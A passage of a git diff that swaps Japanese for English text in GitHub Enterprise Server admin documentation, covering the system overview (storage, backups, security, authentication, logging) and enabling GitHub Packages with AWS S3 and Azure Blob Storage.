data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)." {% data reusables.enterprise_installation.instance-will-restart-automatically %} {% data reusables.enterprise_installation.visit-your-instance %} -## 参考リンク +## Further reading -- 「[システム概要](/enterprise/admin/guides/installation/system-overview)」{% ifversion ghes %} -- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」{% endif %} +- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %} +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %} diff --git a/translations/ja-JP/content/admin/overview/system-overview.md b/translations/ja-JP/content/admin/overview/system-overview.md index 63140f1404..90c87622f9 100644 --- a/translations/ja-JP/content/admin/overview/system-overview.md +++ b/translations/ja-JP/content/admin/overview/system-overview.md @@ -1,6 +1,6 @@ --- -title: システムの概要 -intro: '{% data variables.product.prodname_ghe_server %} は仮想化アプライアンス内に含まれる {% data variables.product.prodname_dotcom %} のお客様の Organization のプライベートなコピーで、オンプレミスあるいはクラウド上でホストされ、お客様が設定およびコントロールできます。' +title: System overview +intro: '{% data variables.product.prodname_ghe_server %} is your organization''s private copy of {% data variables.product.prodname_dotcom %} contained within a virtual appliance, hosted on premises or in the cloud, that you configure and control.' redirect_from: - /enterprise/admin/installation/system-overview - /enterprise/admin/overview/system-overview @@ -15,66 +15,66 @@ topics: - Storage --- -## ストレージアーキテクチャ +## Storage architecture -{% data variables.product.prodname_ghe_server %} は、2 つのストレージボリュームを必要とします。1 つは*ルートファイルシステム*パス (`/`) にマウントされるもので、もう 1 つは*ユーザファイルシステム*パス (`/data/user`) にマウントされるものです。 このアーキテクチャは、動作するソフトウェアの環境を永続的なアプリケーションデータから分離することによって、アップグレード、ロールバック、リカバリの手続きをシンプルにします。 +{% data variables.product.prodname_ghe_server %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data. -ルートファイルシステムは、配布されているマシンイメージに含まれています。 ルートファイルシステムにはベースのオペレーティングシステムと {% data variables.product.prodname_ghe_server %} アプリケーション環境が含まれています。 ルートファイルシステムは、一過性のものとして扱われなければなりません。 ルートファイルシステム上にあるデータは、すべて将来の {% data variables.product.prodname_ghe_server %} リリースへのアップグレード時に置き換えられます。 +The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.prodname_ghe_server %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.prodname_ghe_server %} releases. The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks. -ルートファイルシステムには以下が含まれます: - - カスタムの認証局 (CA) 証明書 (*/usr/local/share/ca-certificates*) - - カスタムのネットワーク設定 - - カスタムのファイアウォール設定 - - レプリケーションの状態 +The root filesystem contains: + - Custom certificate authority (CA) certificates (in */usr/local/share/ca-certificates*) + - Custom networking configurations + - Custom firewall configurations + - The replication state -ユーザファイルシステムには、以下のようなユーザ設定とデータが含まれます: - - Git リポジトリ - - データベース - - 検索インデックス - - {% data variables.product.prodname_pages %} サイトで公開されたコンテンツ - - {% data variables.large_files.product_name_long %} からの大きなファイル - - pre-receive フック環境 +The user filesystem contains user configuration and data, such as: + - Git repositories + - Databases + - Search indexes + - Content published on {% data variables.product.prodname_pages %} sites + - Large files from {% data variables.large_files.product_name_long %} + - Pre-receive hook environments -## デプロイメントの選択肢 +## Deployment options -{% data variables.product.prodname_ghe_server %} は単一の仮想アプライアンスとしても、High Availability 構成としてもデプロイできます。 詳細は「[High Availability 用に {% data variables.product.prodname_ghe_server %} を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)」を参照してください。 +You can deploy {% data variables.product.prodname_ghe_server %} as a single virtual appliance, or in a high availability configuration. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." -数万人の開発者がいる組織の場合、{% data variables.product.prodname_ghe_server %} クラスタリングも有益かもしれません。 詳しい情報については「[クラスタリングについて](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)」を参照してください。 +Some organizations with tens of thousands of developers may also benefit from {% data variables.product.prodname_ghe_server %} Clustering. For more information, see "[About clustering](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-clustering)." -## データのリテンションとデータセンターの冗長性 +## Data retention and datacenter redundancy {% danger %} -{% data variables.product.prodname_ghe_server %} を本番環境で使う前に、バックアップとシステム災害復旧計画をセットアップしておくことを強くおすすめします。 詳しい情報については、「[アプライアンスでのバックアップの設定](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)」を参照してください。 +Before using {% data variables.product.prodname_ghe_server %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan. For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)." {% enddanger %} -{% data variables.product.prodname_ghe_server %} には、[{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils) でのオンラインおよびインクリメンタルバックアップのサポートが含まれています。 インクリメンタルスナップショットは、オフサイトや地理的に離れたストレージのために長距離を経てセキュアなネットワークリンク（SSH管理ポート）経由で取ることができます。 スナップショットは、プライマリデータセンターにおける災害時のリカバリにおいて、新たにプロビジョニングされたアプライアンスにネットワーク経由でリストアできます。 +{% data variables.product.prodname_ghe_server %} includes support for online and incremental backups with the [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned appliance at time of recovery in case of disaster at the primary datacenter. -ネットワークバックアップに加えて、アプライアンスがオフラインになっているかメンテナンスモードになっている間に、ユーザストレージボリュームのAWS（EBS）やVMWareのディスクスナップショットがサポートされています。 サービスレベルの要求が定期的なオフラインメンテナンスを許せるものであれば、定期的なボリュームのスナップショットは、{% data variables.product.prodname_enterprise_backup_utilities %}のネットワークバックアップの低コストで複雑さの低い代替になります。 +In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the appliance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance. -詳しい情報については、「[アプライアンスでのバックアップの設定](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)」を参照してください。 +For more information, see "[Configuring backups on your appliance](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-backups-on-your-appliance)." -## セキュリティ +## Security -{% data variables.product.prodname_ghe_server %} は、お客様のインフラストラクチャ上で動作する仮想アプライアンスで、ファイアウォール、IAM、監視、VPNなどの既存のセキュリティ情報管理により統御されます。 {% data variables.product.prodname_ghe_server %} を使うと、クラウドベースのソリューションから生じる、規制の遵守に関する問題の回避に役立ちます。 +{% data variables.product.prodname_ghe_server %} is a virtual appliance that runs on your infrastructure and is governed by your existing information security controls, such as firewalls, IAM, monitoring, and VPNs. Using {% data variables.product.prodname_ghe_server %} can help you avoid regulatory compliance issues that arise from cloud-based solutions. -{% data variables.product.prodname_ghe_server %} には、追加のセキュリティ機能も含まれています。 +{% data variables.product.prodname_ghe_server %} also includes additional security features. -- [オペレーティングシステム、ソフトウェア、パッチ](#operating-system-software-and-patches) -- [ネットワークのセキュリティ](#network-security) -- [アプリケーションのセキュリティ](#application-security) -- [外部サービスおよびサポートへのアクセス](#external-services-and-support-access) -- [暗号化通信](#encrypted-communication) -- [ユーザおよびアクセス権限](#users-and-access-permissions) -- [認証](#authentication) -- [監査およびアクセスのログ取得](#audit-and-access-logging) +- [Operating system, software, and patches](#operating-system-software-and-patches) +- [Network security](#network-security) +- [Application security](#application-security) +- [External services and support access](#external-services-and-support-access) +- [Encrypted communication](#encrypted-communication) +- [Users and access permissions](#users-and-access-permissions) +- [Authentication](#authentication) +- [Audit and access logging](#audit-and-access-logging) -### オペレーティングシステム、ソフトウェア、パッチ +### Operating system, software, and patches -{% data variables.product.prodname_ghe_server %} は、必要なアプリケーションとサービスのみを備える、カスタマイズされた Linux を実行します。 {% data variables.product.prodname_dotcom %} は、標準的な製品リリースサイクルの一環として、アプライアンスのコアオペレーティングシステムに対するパッチを管理します。 パッチは、{% data variables.product.prodname_dotcom %} アプライアンスの機能、安定性、および重大でないセキュリティ問題に対処するものです。 また、{% data variables.product.prodname_dotcom %} は、必要に応じて標準的なリリースサイクル外でも重大なセキュリティパッチを提供します。 +{% data variables.product.prodname_ghe_server %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.prodname_dotcom %} manages patching of the appliance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.prodname_dotcom %} applications. {% data variables.product.prodname_dotcom %} also provides critical security patches as needed outside of the regular release cycle. {% data variables.product.prodname_ghe_server %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions. @@ -82,76 +82,76 @@ Currently, the base of the {% data variables.product.prodname_ghe_server %} appl Regular patch updates are released on the {% data variables.product.prodname_ghe_server %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/enterprise-server/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.prodname_ghe_server %} patch release. -### ネットワークのセキュリティ +### Network security -{% data variables.product.prodname_ghe_server %} の内部ファイアウォールは、アプライアンスのサービスへのネットワークアクセスを制限します。 アプライアンスが機能するために必要なサービスだけが、ネットワークを通じて利用できます。 詳しい情報については、「[ネットワークポート](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)」を参照してください。 +{% data variables.product.prodname_ghe_server %}'s internal firewall restricts network access to the appliance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports)." -### アプリケーションのセキュリティ +### Application security -{% data variables.product.prodname_dotcom %} の、アプリケーションのセキュリティチームは、{% data variables.product.prodname_ghe_server %} も含めた {% data variables.product.prodname_dotcom %} 製品に対し、脆弱性評価、ペネトレーションテスト、およびコードレビューをフルタイムで重点的に取り組んでいます。 また、{% data variables.product.prodname_dotcom %} は、{% data variables.product.prodname_dotcom %} 製品の特定時点におけるセキュリティ評価を行なうため、外部セキュリティ企業と契約しています。 +{% data variables.product.prodname_dotcom %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.prodname_dotcom %} products, including {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_dotcom %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.prodname_dotcom %} products. -### 外部サービスおよびサポートへのアクセス +### External services and support access -{% data variables.product.prodname_ghe_server %} は、お客様のネットワークから外部サービスにアクセスすることなしに運用できます。 また、メール配信、外部モニタリング、およびログ転送のため、外部サービスとのインテグレーションを有効にすることも可能です。 詳しい情報については、「[通知のためのメール設定](/admin/configuration/configuring-email-for-notifications)」、「[外部モニタリングのセットアップ](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)」、「[ログの転送](/admin/user-management/log-forwarding)」を参照してください。 +{% data variables.product.prodname_ghe_server %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-email-for-notifications)," "[Setting up external monitoring](/enterprise/{{ currentVersion }}/admin/installation/setting-up-external-monitoring)," and "[Log forwarding](/admin/user-management/log-forwarding)." -トラブルシューティングデータを手動で収集し、{% data variables.contact.github_support %} に送信できます。 詳しい情報については、「[{% data variables.contact.github_support %} へのデータ提供](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)」を参照してください。 +You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/enterprise/{{ currentVersion }}/admin/enterprise-support/providing-data-to-github-support)." -### 暗号化通信 +### Encrypted communication -{% data variables.product.prodname_dotcom %} は、{% data variables.product.prodname_ghe_server %} がお客様の社内ファイアウォールの背後で動作するよう設計しています。 回線を介した通信を保護するため、Transport Layer Security (TLS) を有効化するようお勧めします。 {% data variables.product.prodname_ghe_server %} は、HTTPS トラフィックに対して、2048 ビット以上の商用 TLS 証明書をサポートしています。 詳しい情報については、「[TLSの設定](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)」を参照してください。 +{% data variables.product.prodname_dotcom %} designs {% data variables.product.prodname_ghe_server %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.prodname_ghe_server %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/installation/configuring-tls)." -デフォルトでは、Git によるリポジトリへのアクセスと管理目的との両方で、アプライアンスは Secure Shell (SSH) アクセスも提供します。 詳しい情報については、「[SSH について](/enterprise/user/articles/about-ssh)」および「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)」を参照してください。 +By default, the appliance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." -### ユーザおよびアクセス権限 +### Users and access permissions -{% data variables.product.prodname_ghe_server %} は、3 種類のアカウントを提供しています。 +{% data variables.product.prodname_ghe_server %} provides three types of accounts. -- `admin` Linux ユーザアカウントは、ファイルシステムやデータベースへの直接的なアクセスを含め、基底のオペレーティングシステムに対して限定的にアクセスできます。 このアカウントには、少数の信頼できる管理者がアクセスできるようにすべきで、SSH を介してアクセスできます。 詳しい情報については、「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)」を参照してください。 -- アプライアンスのウェブアプリケーション内のユーザアカウントは、自らのデータ、および他のユーザや Organization が明示的に許可したあらゆるデータにフルアクセスできます。 -- アプライアンスのウェブアプリケーション内サイト管理者は、高レベルのウェブアプリケーションおよびアプライアンスの設定、ユーザおよび Organization のアカウント設定、ならびにリポジトリデータを管理できるユーザアカウントです。 +- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." +- User accounts in the appliance's web application have full access to their own data and any data that other users or organizations explicitly grant. +- Site administrators in the appliance's web application are user accounts that can manage high-level web application and appliance settings, user and organization account settings, and repository data. -{% data variables.product.prodname_ghe_server %} のユーザ権限に関する詳しい情報については「[GitHub 上のアクセス権限](/enterprise/user/articles/access-permissions-on-github)」を参照してください。 +For more information about {% data variables.product.prodname_ghe_server %}'s user permissions, see "[Access permissions on GitHub](/enterprise/user/articles/access-permissions-on-github)." -### 認証 +### Authentication -{% data variables.product.prodname_ghe_server %} は、4 つの認証方式を提供しています。 +{% data variables.product.prodname_ghe_server %} provides four authentication methods. -- SSH 公開鍵認証は、Git によるリポジトリへのアクセスと、管理シェルアクセスの両方を提供します。 詳しい情報については、「[SSH について](/enterprise/user/articles/about-ssh)」および「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)」を参照してください。 -- HTTP クッキーを用いたユーザ名とパスワードによる認証では、ウェブアプリケーションのアクセスおよびセッションの管理、そして任意で 2 要素認証 (2FA) を提供します。 詳しい情報については、「[ビルトイン認証の利用](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)」を参照してください。 -- LDAP サービス、SAML アイデンティティプロバイダ (IdP)、またはその他互換性のあるサービスを用いた外部 LDAP、SAML、および CAS 認証は、ウェブアプリケーションへのアクセスを提供します。 詳しい情報については、「[GitHub Enterprise Server インスタンスでユーザを認証する](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)」を参照してください。 -- OAuth および個人アクセストークンは、外部クライアントとサービスの両方に対して、Git リポジトリデータおよび API へのアクセスを提供します。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 +- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/enterprise/user/articles/about-ssh)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/installation/accessing-the-administrative-shell-ssh)." +- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/enterprise/{{ currentVersion }}/admin/user-management/using-built-in-authentication)." +- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Authenticating users for your GitHub Enterprise Server instance](/enterprise/{{ currentVersion }}/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance)." +- OAuth and Personal Access Tokens provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -### 監査およびアクセスのログ取得 +### Audit and access logging -{% data variables.product.prodname_ghe_server %} は、従来型オペレーティングシステムおよびアプリケーションの両方のログを保存します。 また、アプリケーションは詳細な監査およびセキュリティログも記録し、{% data variables.product.prodname_ghe_server %} はこれを永続的に保存します。 `syslog-ng` プロトコルを介して、両タイプのログをリアルタイムで複数の宛先に転送できます。 詳しい情報については、「[ログの転送](/admin/user-management/log-forwarding)」を参照してください。 +{% data variables.product.prodname_ghe_server %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.prodname_ghe_server %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[Log forwarding](/admin/user-management/log-forwarding)." -アクセスログと監査ログには、以下のような情報が含まれています。 +Access and audit logs include information like the following. -#### アクセスログ +#### Access logs -- ブラウザと API アクセスの両方の、ウェブサーバーの完全なログ -- Git、HTTPS、および SSH プロトコルを介した、リポジトリデータへのアクセスの完全なログ -- HTTPS および SSH を介した、管理アクセスのログ +- Full web server logs for both browser and API access +- Full logs for access to repository data over Git, HTTPS, and SSH protocols +- Administrative access logs over HTTPS and SSH -#### 監査ログ +#### Audit logs -- ユーザのログイン、パスワードのリセット、2 要素認証のリクエスト、メール設定の変更、ならびに許可されたアプリケーションおよび API への変更 -- ユーザアカウントやリポジトリのアンロックなどの、サイト管理者のアクション -- リポジトリのプッシュイベント、アクセス許可、移譲、および名前の変更 -- チームの作成および破棄を含む、Organization のメンバーシップ変更 +- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs +- Site administrator actions, such as unlocking user accounts and repositories +- Repository push events, access grants, transfers, and renames +- Organization membership changes, including team creation and destruction -## {% data variables.product.prodname_ghe_server %} のオープンソース依存性 +## Open source dependencies for {% data variables.product.prodname_ghe_server %} -使用しているアプライアンスのバージョンの {% data variables.product.prodname_ghe_server %} における依存対象の完全なリストは、それぞれのプロジェクトのライセンスと合わせて `http(s)://HOSTNAME/site/credits` で見ることができます。 +You can see a complete list of dependencies in your appliance's version of {% data variables.product.prodname_ghe_server %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`. -依存関係と関連するメタデータの完全なリストと合わせて、Tarball 群はアプライアンス上にあります。 -- すべてのプラットフォームに共通の依存関係は `/usr/local/share/enterprise/dependencies--base.tar.gz` にあります。 -- プラットフォームに固有の依存関係は `/usr/local/share/enterprise/dependencies--.tar.gz` にあります。 +Tarballs with a full list of dependencies and associated metadata are available on your appliance: +- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies--base.tar.gz` +- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies--.tar.gz` -依存対象とメタデータの完全なリストとともにTarball群も`https://enterprise.github.com/releases//download.html`にあります。 +Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases//download.html`. -## 参考リンク +## Further reading -- [{% data variables.product.prodname_ghe_server %} のトライアルをセットアップする](/articles/setting-up-a-trial-of-github-enterprise-server) -- [{% data variables.product.prodname_ghe_server %} インスタンスをセットアップする](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance) -- `github/roadmap` リポジトリの [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) +- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)" +- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)" +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository diff --git a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md index 1db342970b..d84c8734a2 100644 --- a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md +++ b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-aws.md @@ -1,6 +1,6 @@ --- -title: AWS で GitHub Packages を有効にする -intro: 'AWS を外部ストレージとして {% data variables.product.prodname_registry %} を設定します。' +title: Enabling GitHub Packages with AWS +intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.' versions: ghes: '*' type: tutorial @@ -14,18 +14,18 @@ shortTitle: Enable Packages with AWS {% warning %} -**警告:** -- {% data variables.product.company_short %} は特定のオブジェクトのアクセス許可または追加のアクセス制御リスト (ACL) をストレージバケット設定に適用しないため、ストレージバケットに必要な制限付きアクセスポリシーを設定することが重要です。 たとえば、バケットを公開すると、バケット内のデータにパブリックなインターネットからアクセスできるようになります。 詳しい情報については、AWS ドキュメントの「[バケットとオブジェクトのアクセス許可を設定する](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)」を参照してください。 -- {% data variables.product.prodname_actions %} ストレージに使用するバケットとは別に、{% data variables.product.prodname_registry %} 専用のバケットを使用することをお勧めします。 -- 今後使用予定のバケットを忘れずに設定するようにしてください。 {% data variables.product.prodname_registry %} の使用開始後にストレージを変更することはお勧めしません。 +**Warnings:** +- It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see "[Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)" in the AWS Documentation. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 必要な環境 +## Prerequisites -{% data variables.product.product_location_enterprise %} で {% data variables.product.prodname_registry %} を有効にして設定する前に、AWS ストレージバケットを準備する必要があります。 AWS ストレージバケットを準備するには、[AWS ドキュメント](https://docs.aws.amazon.com/index.html)にある公式 AWS ドキュメントを参照することをお勧めします。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html). -AWS アクセスキー ID とシークレットに次の権限があることを確認します。 +Ensure your AWS access key ID and secret have the following permissions: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -34,7 +34,7 @@ AWS アクセスキー ID とシークレットに次の権限があることを - `s3:DeleteObject` - `s3:ListBucket` -## AWS 外部ストレージで {% data variables.product.prodname_registry %} を有効化する +## Enabling {% data variables.product.prodname_registry %} with AWS external storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} @@ -42,20 +42,20 @@ AWS アクセスキー ID とシークレットに次の権限があることを {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. [Packages Storage] で、[**Amazon S3**] を選択し、ストレージバケットの詳細を入力します。 - - **AWS Service URL: **バケットのサービス URL。 たとえば、S3 バケットが `us-west-2` リージョンで作成された場合、この値は `https://s3.us-west-2.amazonaws.com` である必要があります。 +1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details: + - **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`. - 詳しい情報については、AWS ドキュメントの「[AWS サービスエンドポイント](https://docs.aws.amazon.com/general/latest/gr/rande.html)」を参照してください。 + For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. - - **AWS S3 Bucket:** {% data variables.product.prodname_registry %} 専用の S3 バケットの名前。 - - **AWS S3 Access Key** および **AWS S3 Secret Key**: バケットにアクセスするための AWS アクセスキー ID と シークレットキー。 + - **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key to access your bucket. - AWS アクセスキーの管理の詳細については、「[AWS ID およびアクセス管理のドキュメント](https://docs.aws.amazon.com/iam/index.html)」を参照してください。 + For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." - ![S3 AWS バケットの詳細入力ボックス](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## 次のステップ +## Next steps {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md index 1dea091889..3e8cb87409 100644 --- a/translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md +++ b/translations/ja-JP/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md @@ -1,6 +1,6 @@ --- -title: Azure Blob Storage で GitHub Packages を有効化する -intro: 'Azure Blob Storage を外部ストレージとして {% data variables.product.prodname_registry %} を設定します。' +title: Enabling GitHub Packages with Azure Blob Storage +intro: 'Set up {% data variables.product.prodname_registry %} with Azure Blob Storage as your external storage.' versions: ghes: '*' type: tutorial @@ -13,27 +13,28 @@ shortTitle: Enable Packages with Azure {% warning %} -**警告:** -- {% data variables.product.company_short %} は特定のオブジェクトのアクセス許可または追加のアクセス制御リスト (ACL) をストレージバケット設定に適用しないため、ストレージバケットに必要な制限付きアクセスポリシーを設定することが重要です。 たとえば、バケットを公開すると、バケット内のデータにパブリックなインターネットからアクセスできるようになります。 -- {% data variables.product.prodname_actions %} ストレージに使用するバケットとは別に、{% data variables.product.prodname_registry %} 専用のバケットを使用することをお勧めします。 -- 今後使用予定のバケットを忘れずに設定するようにしてください。 {% data variables.product.prodname_registry %} の使用開始後にストレージを変更することはお勧めしません。 +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. {% endwarning %} -## 必要な環境 +## Prerequisites -{% data variables.product.product_location_enterprise %} で {% data variables.product.prodname_registry %} を有効にして設定する前に、Azure Blob ストレージバケットを準備する必要があります。 Azure Blob ストレージバケットを準備するには、公式の [Azure Blob Storage ドキュメントサイト](https://docs.microsoft.com/en-us/azure/storage/blobs/)にある公式 Azure Blob ストレージドキュメントを参照することをお勧めします。 +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.product.product_location_enterprise %}, you need to prepare your Azure Blob storage bucket. To prepare your Azure Blob storage bucket, we recommend consulting the official Azure Blob storage docs at the official [Azure Blob Storage documentation site](https://docs.microsoft.com/en-us/azure/storage/blobs/). -## Azure Blob Storage で {% data variables.product.prodname_registry %} を有効化する +## Enabling {% data variables.product.prodname_registry %} with Azure Blob Storage {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_site_admin_settings.packages-tab %} {% data reusables.package_registry.enable-enterprise-github-packages %} -1. [Packages Storage] で [**Azure Blob Storage**] を選択し、パッケージストレージバケットの Azure コンテナ名と接続文字列型を入力します。 ![Azure Blob ストレージコンテナ名と接続文字列型ボックス](/assets/images/help/package-registry/azure-blob-storage-settings.png) +1. Under "Packages Storage", select **Azure Blob Storage** and enter your Azure container name for your packages storage bucket and connection string. + ![Azure Blob storage container name and connection string boxes](/assets/images/help/package-registry/azure-blob-storage-settings.png) {% data 